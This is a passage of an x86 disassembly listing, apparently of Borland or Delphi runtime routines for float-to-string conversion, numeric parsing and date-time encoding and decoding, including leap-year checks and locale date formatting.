eax, 7FFFh jz short loc_200080A8 cmp eax, 7FFFh jnz short loc_200080B3 test word ptr [esi+6], 8000h jz short loc_200080AA cmp dword ptr [esi], 0 jnz short loc_200080A7 cmp dword ptr [esi+4], 80000000h jz short loc_200080AA loc_200080A7: ; CODE XREF: sub_2000807D+1Fj inc eax loc_200080A8: ; CODE XREF: sub_2000807D+Bj ; sub_2000807D+AFj xor edx, edx loc_200080AA: ; CODE XREF: sub_2000807D+1Aj ; sub_2000807D+28j mov byte ptr [ebx+3], 0 jmp loc_20008180 ; --------------------------------------------------------------------------- loc_200080B3: ; CODE XREF: sub_2000807D+12j fld tbyte ptr [esi] sub eax, 3FFFh imul eax, 4D10h sar eax, 10h inc eax mov [ebp-8], eax mov eax, 12h sub eax, [ebp-8] fabs push ebx mov ebx, [ebp-4] call sub_20003070 pop ebx frndint mov edi, [ebp-4] fld ds:tbyte_20014184[edi] fcomp st(1) fstsw word ptr [ebp-0Ah] wait test word ptr [ebp-0Ah], 4100h jz short loc_200080FE fidiv ds:flt_20014190[edi] inc dword ptr [ebp-8] loc_200080FE: ; CODE XREF: sub_2000807D+76j fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] mov edx, 9 wait loc_2000810A: ; CODE XREF: sub_2000807D+A0j mov al, [edx+ebp-19h] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_2000810A xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_20008131 xor eax, eax jmp loc_200080A8 ; --------------------------------------------------------------------------- loc_20008131: ; CODE XREF: sub_2000807D+ABj cmp edi, [ebp+0Ch] jb short loc_20008139 mov edi, [ebp+0Ch] loc_20008139: ; CODE XREF: sub_2000807D+B7j cmp edi, 12h jnb short loc_20008165 cmp byte ptr [ebx+edi+3], 35h jb short loc_2000816A loc_20008145: ; CODE XREF: sub_2000807D+D9j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_2000815A inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_20008145 jmp short loc_20008179 ; --------------------------------------------------------------------------- loc_2000815A: ; CODE XREF: sub_2000807D+CEj mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_20008179 ; --------------------------------------------------------------------------- loc_20008165: ; CODE XREF: sub_2000807D+BFj mov edi, 12h loc_2000816A: ; CODE XREF: sub_2000807D+C6j ; sub_2000807D+FAj mov byte ptr [ebx+edi+3], 0 dec edi js short loc_2000818B cmp byte ptr [ebx+edi+3], 30h jz short loc_2000816A loc_20008179: ; CODE XREF: sub_2000807D+DBj ; sub_2000807D+E6j mov dx, [esi+8] loc_2000817D: ; CODE XREF: sub_2000807D+110j mov eax, [ebp-8] loc_20008180: ; CODE XREF: sub_2000807D+31j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; --------------------------------------------------------------------------- loc_2000818B: ; CODE XREF: sub_2000807D+F3j ; DATA XREF: sub_2000819F+60r xor edx, edx jmp short loc_2000817D sub_2000807D endp ; --------------------------------------------------------------------------- db 0Ah dd 64000000h, 0E8000000h, 10000003h db 27h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_2000819F proc near ; CODE XREF: sub_20008050+19p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_20008265 or edx, edx jns short loc_200081B9 neg edx neg eax sbb edx, 0 loc_200081B9: ; CODE XREF: sub_2000819F+11j xor ecx, ecx mov edi, [ebp+8] or edi, edi jge short loc_200081C4 xor edi, edi loc_200081C4: ; CODE XREF: sub_2000819F+21j cmp edi, 4 jl short loc_200081E8 mov edi, 4 loc_200081CE: ; CODE XREF: sub_2000819F+3Bj inc ecx sub eax, 0A7640000h sbb edx, 0DE0B6B3h jnb short loc_200081CE dec ecx add eax, 0A7640000h adc edx, 0DE0B6B3h loc_200081E8: ; CODE XREF: sub_2000819F+28j mov [ebp-20h], eax mov [ebp-1Ch], edx fild qword ptr [ebp-20h] mov edx, edi mov eax, 4 sub eax, edx jz short loc_20008206 mov edi, [ebp-4] fidiv dword ptr loc_2000818B[edi+eax*4] loc_20008206: ; CODE XREF: sub_2000819F+5Bj fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] wait or ecx, ecx jnz short loc_2000822C mov ecx, 9 loc_20008216: ; CODE XREF: sub_2000819F+89j mov al, [ecx+ebp-19h] mov ah, al shr al, 4 jnz short loc_2000823F mov al, ah and al, 0Fh jnz short loc_20008246 dec ecx jnz short loc_20008216 jmp short loc_20008265 ; --------------------------------------------------------------------------- loc_2000822C: ; CODE XREF: sub_2000819F+70j mov al, cl add al, 30h stosb mov ecx, 9 loc_20008236: ; CODE XREF: sub_2000819F+ABj mov al, [ecx+ebp-19h] mov ah, al shr al, 4 loc_2000823F: ; CODE XREF: sub_2000819F+80j add al, 30h stosb mov al, ah and al, 0Fh loc_20008246: ; CODE XREF: sub_2000819F+86j add al, 30h stosb dec ecx jnz short loc_20008236 mov eax, edi lea ecx, [ebx+edx+3] sub eax, ecx loc_20008254: ; CODE XREF: sub_2000819F+BCj mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_20008254 mov edx, [esi+4] shr edx, 1Fh jmp short loc_2000826C ; --------------------------------------------------------------------------- loc_20008265: ; CODE XREF: sub_2000819F+9j ; sub_2000819F+8Bj xor eax, eax xor edx, edx mov [ebx+3], al loc_2000826C: ; CODE XREF: sub_2000819F+C4j mov [ebx], ax mov [ebx+2], dl retn sub_2000819F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_20008050 loc_20008273: ; CODE XREF: sub_20008050+1Ej ; sub_20008050+28j pop ebx pop esi pop edi mov esp, ebp pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_20008050 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000827C proc near ; CODE XREF: sub_200083F0+11p ; sub_2000840C+14p ... var_8 = word ptr -8 var_5 = byte ptr -5 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 20008389 SIZE 00000007 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push edi push esi push ebx mov esi, eax mov edi, edx mov [ebp+var_4], 0 mov al, ds:byte_2001569B mov [ebp+var_5], al mov ebx, ecx fstcw [ebp+var_8] fclex fldcw ds:word_20014194 fldz call sub_20008333 mov bh, [esi] cmp bh, 2Bh jz short loc_200082BA cmp bh, 2Dh jnz short loc_200082BB loc_200082BA: ; CODE XREF: sub_2000827C+37j inc esi loc_200082BB: ; CODE XREF: sub_2000827C+3Cj mov ecx, esi call sub_2000833E xor edx, edx mov al, [esi] cmp al, [ebp+var_5] jnz short loc_200082D3 inc esi call sub_2000833E neg edx loc_200082D3: ; CODE XREF: sub_2000827C+4Dj cmp ecx, esi jz short loc_20008326 mov al, [esi] and al, 0DFh cmp al, 45h jnz short loc_200082E9 inc esi push edx call sub_2000835A pop eax add edx, eax loc_200082E9: ; CODE XREF: sub_2000827C+61j call sub_20008333 cmp byte ptr [esi], 0 jnz short loc_20008326 mov eax, edx cmp bl, 1 jnz short loc_200082FD add eax, 4 loc_200082FD: ; CODE XREF: sub_2000827C+7Cj push ebx mov ebx, [ebp+var_4] call sub_20003070 pop ebx cmp bh, 2Dh jnz short loc_2000830E fchs loc_2000830E: ; CODE XREF: sub_2000827C+8Ej cmp bl, 0 jz short loc_20008317 fistp qword ptr [edi] jmp short loc_20008319 ; --------------------------------------------------------------------------- loc_20008317: ; CODE XREF: sub_2000827C+95j fstp tbyte ptr [edi] loc_20008319: ; CODE XREF: sub_2000827C+99j fstsw ax test ax, 9 jnz short loc_20008328 mov al, 1 jmp short loc_2000832A ; --------------------------------------------------------------------------- loc_20008326: ; CODE XREF: sub_2000827C+59j ; sub_2000827C+75j fstp st loc_20008328: ; CODE XREF: sub_2000827C+A4j xor eax, eax loc_2000832A: ; CODE XREF: sub_2000827C+A8j fclex fldcw [ebp+var_8] wait jmp short loc_20008389 sub_2000827C endp ; =============== S U B R O U T I N E ======================================= sub_20008333 proc near ; CODE XREF: sub_2000827C+2Dp ; sub_2000827C:loc_200082E9p ... lodsb or al, al jz short loc_2000833C cmp al, 20h jz short sub_20008333 loc_2000833C: ; CODE XREF: sub_20008333+3j dec esi retn sub_20008333 endp ; =============== S U B R O U T I N E ======================================= sub_2000833E proc near ; CODE XREF: sub_2000827C+41p ; sub_2000827C+50p xor eax, eax xor edx, edx loc_20008342: ; CODE XREF: sub_2000833E+18j lodsb sub al, 3Ah add al, 0Ah jnb short loc_20008358 fimul ds:flt_20014190 mov [ebp-0Ch], eax fiadd dword ptr [ebp-0Ch] inc edx jmp short loc_20008342 ; --------------------------------------------------------------------------- loc_20008358: ; CODE XREF: sub_2000833E+9j dec esi retn sub_2000833E endp ; =============== S U B R O U T I N E ======================================= sub_2000835A proc near ; CODE XREF: sub_2000827C+65p xor eax, eax xor edx, edx mov cl, [esi] cmp cl, 2Bh jz short loc_2000836A cmp cl, 2Dh jnz short loc_2000836B loc_2000836A: ; CODE XREF: sub_2000835A+9j inc esi loc_2000836B: ; CODE XREF: sub_2000835A+Ej ; sub_2000835A+25j mov al, [esi] sub al, 3Ah add al, 0Ah jnb short loc_20008381 inc esi imul edx, 0Ah add edx, eax cmp edx, 1F4h jb short loc_2000836B loc_20008381: ; CODE XREF: sub_2000835A+17j cmp cl, 2Dh jnz short locret_20008388 neg edx locret_20008388: ; CODE XREF: sub_2000835A+2Aj retn sub_2000835A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_2000827C loc_20008389: ; CODE XREF: sub_2000827C+B5j pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_2000827C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008390 proc near ; CODE XREF: sub_2000DD44+103p ; sub_2000DD44+124p ... var_40 = byte ptr -40h arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFC0h push ebx mov ebx, eax push 0 push 0Fh push 0 lea edx, [ebp+arg_0] lea eax, [ebp+var_40] xor ecx, ecx call sub_20007D7C mov ecx, eax lea edx, [ebp+var_40] mov eax, ebx call sub_20004098 pop ebx mov esp, ebp pop ebp retn 0Ch sub_20008390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200083C0 proc near ; CODE XREF: sub_2000C48C+38p var_40 = byte ptr -40h arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFC0h push ebx mov ebx, eax push 0 push 0 push 0 lea edx, [ebp+arg_0] lea eax, [ebp+var_40] mov cl, 1 call sub_20007D7C mov ecx, eax lea edx, [ebp+var_40] mov eax, ebx call sub_20004098 pop ebx mov esp, ebp pop ebp retn 8 sub_200083C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200083F0 proc near ; CODE XREF: sub_200073A0+12p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_20004444 mov edx, esi xor ecx, ecx call sub_2000827C pop esi pop ebx retn sub_200083F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000840C proc near ; CODE XREF: sub_2000C2C8+35p var_14 = tbyte ptr -14h push ebx push esi add esp, 0FFFFFFF4h mov esi, edx mov ebx, eax mov eax, ebx call sub_20004444 mov edx, esp xor ecx, ecx call sub_2000827C test al, al jz short loc_2000842F fld [esp+14h+var_14] fstp qword ptr [esi] wait loc_2000842F: ; CODE XREF: sub_2000840C+1Bj add esp, 0Ch pop esi pop ebx retn sub_2000840C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20008438 proc near ; CODE XREF: sub_2000C25C+35p var_14 = tbyte ptr -14h push ebx push esi add esp, 0FFFFFFF4h mov esi, edx mov ebx, eax mov eax, ebx call sub_20004444 mov edx, esp xor ecx, ecx call sub_2000827C test al, al jz short loc_2000845B fld [esp+14h+var_14] fstp dword ptr [esi] wait loc_2000845B: ; CODE XREF: sub_20008438+1Bj add esp, 0Ch pop esi pop ebx retn sub_20008438 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20008464 proc near ; CODE XREF: sub_2000C3A0+35p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_20004444 mov edx, esi mov cl, 1 call sub_2000827C pop esi pop ebx retn sub_20008464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_20008480(double) sub_20008480 proc near ; CODE XREF: sub_20008534+1Cp ; sub_20008694+1Dp ... var_C = qword ptr -0Ch arg_0 = qword ptr 8 push ebp mov ebp, esp push ebx xor ebx, ebx mov ecx, eax fld [ebp+arg_0] fmul ds:flt_20014198[ebx] sub esp, 8 fistp [esp+0Ch+var_C] wait pop eax pop edx or edx, edx jns short loc_200084AF neg edx neg eax sbb edx, 0 div ds:dword_2001419C[ebx] neg eax jmp short loc_200084B5 ; --------------------------------------------------------------------------- loc_200084AF: ; CODE XREF: sub_20008480+1Cj div ds:dword_2001419C[ebx] loc_200084B5: ; CODE XREF: sub_20008480+2Dj add eax, 0A955Ah mov [ecx], edx mov [ecx+4], eax pop ebx pop ebp retn 8 sub_20008480 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200084C4 proc near ; CODE XREF: sub_20009A28+1CBp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push esi mov esi, [ebp+arg_4] mov [ebp+var_1], 0 cmp ax, 18h jnb short loc_20008525 cmp dx, 3Ch jnb short loc_20008525 cmp cx, 3Ch jnb short loc_20008525 cmp si, 3E8h jnb short loc_20008525 movzx eax, ax imul eax, 36EE80h movzx edx, dx imul edx, 0EA60h add eax, edx movzx edx, cx imul edx, 3E8h add eax, edx movzx edx, si add eax, edx mov [ebp+var_8], eax fild [ebp+var_8] fdiv flt_20008530 mov eax, [ebp+arg_0] fstp qword ptr [eax] wait mov [ebp+var_1], 1 loc_20008525: ; CODE XREF: sub_200084C4+12j ; sub_200084C4+18j ... mov al, [ebp+var_1] pop esi pop ecx pop ecx pop ebp retn 8 sub_200084C4 endp ; --------------------------------------------------------------------------- align 10h flt_20008530 dd 8.64e7 ; DATA XREF: sub_200084C4+51r ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_20008534(int, double) sub_20008534 proc near ; CODE XREF: sub_20008950+31p var_C = dword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax lea eax, [ebp+var_4] push eax push dword ptr [ebp+arg_4+4] push dword ptr [ebp+arg_4] ; double lea eax, [ebp+var_C] call sub_20008480 mov eax, [ebp+var_C] lea ecx, [ebp+var_2] mov dx, 0EA60h call sub_20006EEC push esi mov ecx, ebx movzx eax, [ebp+var_2] mov dx, 3Ch call sub_20006EEC mov eax, [ebp+arg_0] push eax mov ecx, edi movzx eax, [ebp+var_4] mov dx, 3E8h call sub_20006EEC pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_20008534 endp ; =============== S U B R O U T I N E ======================================= sub_20008590 proc near ; CODE XREF: sub_200085CC+19p ; sub_20008694+EEp push ebx push esi mov ecx, eax movzx eax, cx and eax, 3 test eax, eax jnz short loc_200085BF movzx ebx, cx mov eax, ebx mov esi, 64h xor edx, edx div esi test edx, edx jnz short loc_200085C4 mov eax, ebx mov ecx, 190h xor edx, edx div ecx test edx, edx jz short loc_200085C4 loc_200085BF: ; CODE XREF: sub_20008590+Cj xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_200085C4: ; CODE XREF: sub_20008590+1Ej ; sub_20008590+2Dj mov al, 1 pop esi pop ebx retn sub_20008590 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200085CC proc near ; CODE XREF: sub_200096E4+2F8p var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, ecx mov edi, edx mov [ebp+var_2], ax mov [ebp+var_3], 0 mov ax, [ebp+var_2] call sub_20008590 and eax, 7Fh lea eax, [eax+eax*2] lea esi, dword_200140FC[eax*8] cmp [ebp+var_2], 1 jb loc_20008688 cmp [ebp+var_2], 270Fh ja short loc_20008688 cmp di, 1 jb short loc_20008688 cmp di, 0Ch ja short loc_20008688 cmp bx, 1 jb short loc_20008688 movzx eax, di cmp bx, [esi+eax*2-2] ja short loc_20008688 movzx eax, di dec eax test eax, eax jle short loc_2000863C mov ecx, 1 loc_20008633: ; CODE XREF: sub_200085CC+6Ej add bx, [esi+ecx*2-2] inc ecx dec eax jnz short loc_20008633 loc_2000863C: ; CODE XREF: sub_200085CC+60j movzx ecx, [ebp+var_2] dec ecx mov eax, ecx mov esi, 64h cdq idiv esi imul esi, ecx, 16Dh mov edx, ecx test edx, edx jns short loc_2000865A add edx, 3 loc_2000865A: ; CODE XREF: sub_200085CC+89j sar edx, 2 add esi, edx sub esi, eax mov eax, ecx mov ecx, 190h cdq idiv ecx add esi, eax movzx eax, bx add esi, eax sub esi, 0A955Ah mov [ebp+var_8], esi fild [ebp+var_8] mov eax, [ebp+arg_0] fstp qword ptr [eax] wait mov [ebp+var_3], 1 loc_20008688: ; CODE XREF: sub_200085CC+30j ; sub_200085CC+3Cj ... mov al, [ebp+var_3] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 4 sub_200085CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_20008694(int, double) sub_20008694 proc near ; CODE XREF: sub_200087E0+13p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov ebx, [ebp+arg_0] push dword ptr [ebp+arg_4+4] push dword ptr [ebp+arg_4] ; double lea eax, [ebp+var_18] call sub_20008480 mov ecx, [ebp+var_14] test ecx, ecx jg short loc_200086E1 mov eax, [ebp+var_4] mov word ptr [eax], 0 mov eax, [ebp+var_8] mov word ptr [eax], 0 mov eax, [ebp+var_C] mov word ptr [eax], 0 mov word ptr [ebx], 0 xor edx, edx jmp loc_200087D3 ; --------------------------------------------------------------------------- loc_200086E1: ; CODE XREF: sub_20008694+27j mov eax, ecx mov esi, 7 cdq idiv esi inc edx mov [ebx], dx dec ecx mov bx, 1 cmp ecx, 23AB1h jl short loc_2000870F loc_200086FC: ; CODE XREF: sub_20008694+79j sub ecx, 23AB1h add bx, 190h cmp ecx, 23AB1h jge short loc_200086FC loc_2000870F: ; CODE XREF: sub_20008694+66j lea eax, [ebp+var_E] push eax lea eax, [ebp+var_10] mov dx, 8EACh xchg eax, ecx call sub_20006EEC cmp [ebp+var_10], 4 jnz short loc_20008731 dec [ebp+var_10] add [ebp+var_E], 8EACh loc_20008731: ; CODE XREF: sub_20008694+91j imul ax, [ebp+var_10], 64h add bx, ax lea eax, [ebp+var_E] push eax lea ecx, [ebp+var_10] movzx eax, [ebp+var_E] mov dx, 5B5h call sub_20006EEC mov ax, [ebp+var_10] shl eax, 2 add bx, ax lea eax, [ebp+var_E] push eax lea ecx, [ebp+var_10] movzx eax, [ebp+var_E] mov dx, 16Dh call sub_20006EEC cmp [ebp+var_10], 4 jnz short loc_2000877C dec [ebp+var_10] add [ebp+var_E], 16Dh loc_2000877C: ; CODE XREF: sub_20008694+DCj add bx, [ebp+var_10] mov eax, ebx call sub_20008590 mov edx, eax xor eax, eax mov al, dl lea eax, [eax+eax*2] lea esi, dword_200140FC[eax*8] mov ax, 1 loc_2000879B: ; CODE XREF: sub_20008694+126j movzx ecx, ax mov cx, [esi+ecx*2-2] mov [ebp+var_10], cx mov cx, [ebp+var_E] cmp cx, [ebp+var_10] jb short loc_200087BC mov cx, [ebp+var_10] sub [ebp+var_E], cx inc eax jmp short loc_2000879B ; --------------------------------------------------------------------------- loc_200087BC: ; CODE XREF: sub_20008694+11Bj mov ecx, [ebp+var_4] mov [ecx], bx mov ecx, [ebp+var_8] mov [ecx], ax mov ax, [ebp+var_E] inc eax mov ecx, [ebp+var_C] mov [ecx], ax loc_200087D3: ; CODE XREF: sub_20008694+48j mov eax, edx pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_20008694 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_200087E0(double) sub_200087E0 proc near ; CODE XREF: sub_20008918+2Ap var_2 = dword ptr -2 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, eax push dword ptr [ebp+arg_0+4] push dword ptr [ebp+arg_0] ; double lea eax, [ebp+var_2] push eax ; int mov eax, esi call sub_20008694 pop esi pop ecx pop ebp retn 8 sub_200087E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_20008800(double) sub_20008800 proc near ; CODE XREF: sub_20008C00+2AEp ; sub_20008C00+2D5p ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = qword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push dword ptr [ebp+arg_0+4] push dword ptr [ebp+arg_0] ; double lea eax, [ebp+var_8] call sub_20008480 mov eax, [ebp+var_4] mov ecx, 7 cdq idiv ecx mov eax, edx inc eax pop ecx pop ecx pop ebp retn 8 sub_20008800 endp ; =============== S U B R O U T I N E ======================================= sub_20008828 proc near ; CODE XREF: sub_20009688+14p ; sub_200096E4+1A8p ... var_10 = word ptr -10h add esp, 0FFFFFFF0h push esp ; lpSystemTime call GetLocalTime mov ax, [esp+10h+var_10] add esp, 10h retn sub_20008828 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000883C proc near ; CODE XREF: sub_20008880+15p ; sub_200088A0+3Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov ebx, 100h sub ebx, [ecx-104h] cmp edx, ebx jge short loc_20008854 mov ebx, edx loc_20008854: ; CODE XREF: sub_2000883C+14j test ebx, ebx jz short loc_20008872 mov edx, [ebp+arg_0] mov edx, [edx-104h] mov ecx, [ebp+arg_0] lea edx, [ecx+edx-100h] mov ecx, ebx call sub_200027FC loc_20008872: ; CODE XREF: sub_2000883C+1Aj mov eax, [ebp+arg_0] add [eax-104h], ebx pop ebx pop ebp retn sub_2000883C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008880 proc near ; CODE XREF: sub_20008C00+1CDp ; sub_20008C00+1FAp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, eax mov eax, [ebp+arg_0] push eax mov eax, ebx call sub_20004244 mov edx, eax mov eax, ebx call sub_2000883C pop ecx pop ebx pop ebp retn sub_20008880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200088A0 proc near ; CODE XREF: sub_20008C00+188p ; sub_20008C00+1A0p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi mov esi, edx mov ebx, eax mov eax, [ebp+arg_0] push eax push 4 mov [ebp+var_20], esi mov [ebp+var_1C], 0 mov [ebp+var_18], ebx mov [ebp+var_14], 0 lea eax, [ebp+var_20] push eax push 1 mov ecx, offset dword_200141A0 lea eax, [ebp+var_10] mov edx, 10h call sub_200078AC mov edx, eax lea eax, [ebp+var_10] call sub_2000883C pop ecx pop esi pop ebx mov esp, ebp pop ebp retn sub_200088A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200088EC proc near ; CODE XREF: sub_20008C00+15Dp ; sub_20008C00+1ACp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] add eax, 0FFFFFFFCh mov edx, [eax] jmp short loc_200088FC ; --------------------------------------------------------------------------- loc_200088FA: ; CODE XREF: sub_200088EC+1Aj inc dword ptr [eax] loc_200088FC: ; CODE XREF: sub_200088EC+Cj mov ecx, [eax] mov cl, [ecx] mov ebx, [ebp+arg_0] cmp cl, [ebx-5] jz short loc_200088FA mov eax, [eax] sub eax, edx inc eax mov edx, [ebp+arg_0] mov [edx-0Ch], eax pop ebx pop ebp retn sub_200088EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008918 proc near ; CODE XREF: sub_20008C00+164p ; sub_20008C00+1B3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp byte ptr [eax-13h], 0 jnz short loc_2000894E mov eax, [ebp+arg_0] mov eax, [eax+8] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double mov eax, [ebp+arg_0] lea ecx, [eax-12h] mov eax, [ebp+arg_0] lea edx, [eax-10h] mov eax, [ebp+arg_0] add eax, 0FFFFFFF2h call sub_200087E0 mov eax, [ebp+arg_0] mov byte ptr [eax-13h], 1 loc_2000894E: ; CODE XREF: sub_20008918+Aj pop ebp retn sub_20008918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008950 proc near ; CODE XREF: sub_20008C00+31Fp ; sub_20008C00+419p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp byte ptr [eax-1Dh], 0 jnz short loc_2000898D mov eax, [ebp+arg_0] mov eax, [eax+8] push dword ptr [eax+0Ch] push dword ptr [eax+8] ; double mov eax, [ebp+arg_0] add eax, 0FFFFFFE4h push eax ; int mov eax, [ebp+arg_0] lea ecx, [eax-1Ah] mov eax, [ebp+arg_0] lea edx, [eax-18h] mov eax, [ebp+arg_0] add eax, 0FFFFFFEAh call sub_20008534 mov eax, [ebp+arg_0] mov byte ptr [eax-1Dh], 1 loc_2000898D: ; CODE XREF: sub_20008950+Aj pop ebp retn sub_20008950 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008990 proc near ; CODE XREF: sub_20008C00+1C4p var_118 = dword ptr -118h DateStr = byte ptr -114h Date = SYSTEMTIME ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFEE8h push ebx push esi xor ecx, ecx mov [ebp+var_118], ecx mov [ebp+var_4], ecx mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_20008ADE push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_20003FA8 mov eax, [ebp+arg_0] mov ax, [eax-0Eh] mov [ebp+Date.wYear], ax mov eax, [ebp+arg_0] mov ax, [eax-10h] mov [ebp+Date.wMonth], ax mov eax, [ebp+arg_0] mov ax, [eax-12h] mov [ebp+Date.wDay], ax lea eax, [ebp+var_4] mov edx, offset dword_20008AF4 call sub_20004040 push 100h ; cchDate lea eax, [ebp+DateStr] push eax ; lpDateStr mov eax, [ebp+var_4] call sub_20004444 push eax ; lpFormat lea eax, [ebp+Date] push eax ; lpDate push 4 ; dwFlags call GetThreadLocale_0 push eax ; Locale call GetDateFormatA test eax, eax jz loc_20008ABD mov eax, ebx lea edx, [ebp+DateStr] mov ecx, 100h call sub_20004218 dec esi jnz loc_20008ABD mov eax, ds:dword_20015758 sub eax, 4 jz short loc_20008A60 sub eax, 0Dh jnz short loc_20008ABD push ebx mov eax, [ebx] mov edx, 1 call sub_2000AF3C mov ecx, eax mov eax, [ebx] mov edx, 1 call sub_200044A4 jmp short loc_20008ABD ; --------------------------------------------------------------------------- loc_20008A60: ; CODE XREF: sub_20008990+ACj cmp ds:dword_2001575C, 1 jnz short loc_20008ABD mov eax, [ebx] call sub_20004244 mov edx, eax mov eax, [ebx] call sub_2000ADC8 cmp eax, 4 jnz short loc_20008ABD mov eax, [ebx] mov edx, 3 call sub_2000AED8 mov esi, eax lea eax, [ebp+DateStr] add esi, eax dec esi lea eax, [ebp+var_118] mov edx, esi call sub_200041A0 mov eax, [ebp+var_118] mov edx, 2 call sub_2000AF3C mov ecx, eax mov eax, ebx mov edx, esi call sub_20004098 loc_20008ABD: ; CODE XREF: sub_20008990+85j ; sub_20008990+9Ej ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20008AE5 loc_20008ACA: ; CODE XREF: sub_20008990+153j lea eax, [ebp+var_118] call sub_20003FA8 lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20008ADE: ; DATA XREF: sub_20008990+1Do jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20008ACA ; --------------------------------------------------------------------------- loc_20008AE5: ; CODE XREF: sub_20008990+14Dj ; DATA XREF: sub_20008990+135o pop esi pop ebx mov esp, ebp pop ebp retn sub_20008990 endp ; --------------------------------------------------------------------------- align 